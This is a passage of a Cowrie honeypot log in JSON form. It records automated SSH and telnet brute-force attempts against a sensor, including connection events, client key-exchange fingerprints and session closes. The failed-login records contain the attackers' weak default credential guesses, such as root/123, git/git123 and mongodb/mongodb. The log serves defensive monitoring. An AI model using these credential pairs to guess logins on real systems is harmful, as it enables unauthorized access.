0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:28.533360Z","src_ip":"172.237.20.62","session":"dcc36bbe62ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40498,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0bee373dcf6","protocol":"ssh","message":"New connection: 176.65.132.129:40498 (159.203.135.109:22) [session: a0bee373dcf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:28.803144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:28.807812Z","src_ip":"176.65.132.129","session":"a0bee373dcf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:28.890599Z","src_ip":"176.65.132.129","session":"a0bee373dcf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:29.216591Z","src_ip":"172.237.20.62","session":"dcc36bbe62ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:29.262593Z","src_ip":"176.65.132.129","session":"a0bee373dcf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.266459226608276,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:30.113180Z","src_ip":"45.58.127.90","session":"6edd5fe956cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:30.348131Z","src_ip":"176.65.132.129","session":"a0bee373dcf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:30.380196Z","src_ip":"172.237.20.62","session":"dcc36bbe62ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40510,"dst_ip":"159.203.135.109","dst_port":22,"session":"49dc4b8d7a6c","protocol":"ssh","message":"New connection: 176.65.132.129:40510 (159.203.135.109:22) [session: 49dc4b8d7a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:32.039469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:32.043842Z","src_ip":"176.65.132.129","session":"49dc4b8d7a6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:32.125750Z","src_ip":"176.65.132.129","session":"49dc4b8d7a6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mongodb","password":"mongodb","message":"login attempt [mongodb/mongodb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:32.504121Z","src_ip":"176.65.132.129","session":"49dc4b8d7a6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:33.589390Z","src_ip":"176.65.132.129","session":"49dc4b8d7a6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40516,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ac553dab74c","protocol":"ssh","message":"New connection: 176.65.132.129:40516 (159.203.135.109:22) [session: 5ac553dab74c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:35.398281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:35.404579Z","src_ip":"176.65.132.129","session":"5ac553dab74c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:35.481517Z","src_ip":"176.65.132.129","session":"5ac553dab74c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123456","message":"login attempt [git/git123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:35.801300Z","src_ip":"176.65.132.129","session":"5ac553dab74c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:36.886309Z","src_ip":"176.65.132.129","session":"5ac553dab74c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34018,"dst_ip":"159.203.135.109","dst_port":22,"session":"65ad8d3b1f0f","protocol":"ssh","message":"New connection: 176.65.132.129:34018 (159.203.135.109:22) [session: 65ad8d3b1f0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:38.701710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:38.705634Z","src_ip":"176.65.132.129","session":"65ad8d3b1f0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:38.787270Z","src_ip":"176.65.132.129","session":"65ad8d3b1f0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser","message":"login attempt [esuser/esuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:39.033431Z","src_ip":"176.65.132.129","session":"65ad8d3b1f0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":47608,"dst_ip":"159.203.135.109","dst_port":22,"session":"e932965ebb81","protocol":"ssh","message":"New connection: 172.237.20.62:47608 (159.203.135.109:22) [session: e932965ebb81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:39.289834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:39.294791Z","src_ip":"172.237.20.62","session":"e932965ebb81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:39.454720Z","src_ip":"172.237.20.62","session":"e932965ebb81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:39.933482Z","src_ip":"172.237.20.62","session":"e932965ebb81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":40508,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fe2677d4b92","protocol":"telnet","message":"New connection: 45.58.127.90:40508 (10.17.0.5:23) [session: 2fe2677d4b92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:40.033257Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:40.120799Z","src_ip":"176.65.132.129","session":"65ad8d3b1f0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:41.094673Z","src_ip":"172.237.20.62","session":"e932965ebb81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34022,"dst_ip":"159.203.135.109","dst_port":22,"session":"3db8a5311d0b","protocol":"ssh","message":"New connection: 176.65.132.129:34022 (159.203.135.109:22) [session: 3db8a5311d0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:42.074423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:42.078631Z","src_ip":"176.65.132.129","session":"3db8a5311d0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:42.160408Z","src_ip":"176.65.132.129","session":"3db8a5311d0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"123456","message":"login attempt [webuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:42.404263Z","src_ip":"176.65.132.129","session":"3db8a5311d0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:43.615438Z","src_ip":"176.65.132.129","session":"3db8a5311d0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34032,"dst_ip":"159.203.135.109","dst_port":22,"session":"7641f99be13d","protocol":"ssh","message":"New connection: 176.65.132.129:34032 (159.203.135.109:22) [session: 7641f99be13d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:45.456881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:45.461840Z","src_ip":"176.65.132.129","session":"7641f99be13d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:45.543971Z","src_ip":"176.65.132.129","session":"7641f99be13d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:45.792833Z","src_ip":"176.65.132.129","session":"7641f99be13d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:46.877661Z","src_ip":"176.65.132.129","session":"7641f99be13d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44936,"dst_ip":"159.203.135.109","dst_port":22,"session":"863cb5e43a9b","protocol":"ssh","message":"New connection: 176.65.132.129:44936 (159.203.135.109:22) [session: 863cb5e43a9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:48.904868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:48.911029Z","src_ip":"176.65.132.129","session":"863cb5e43a9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:48.993453Z","src_ip":"176.65.132.129","session":"863cb5e43a9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:49.241275Z","src_ip":"176.65.132.129","session":"863cb5e43a9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":59602,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cf536dcd17a","protocol":"ssh","message":"New connection: 172.237.20.62:59602 (159.203.135.109:22) [session: 0cf536dcd17a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:50.253299Z"}
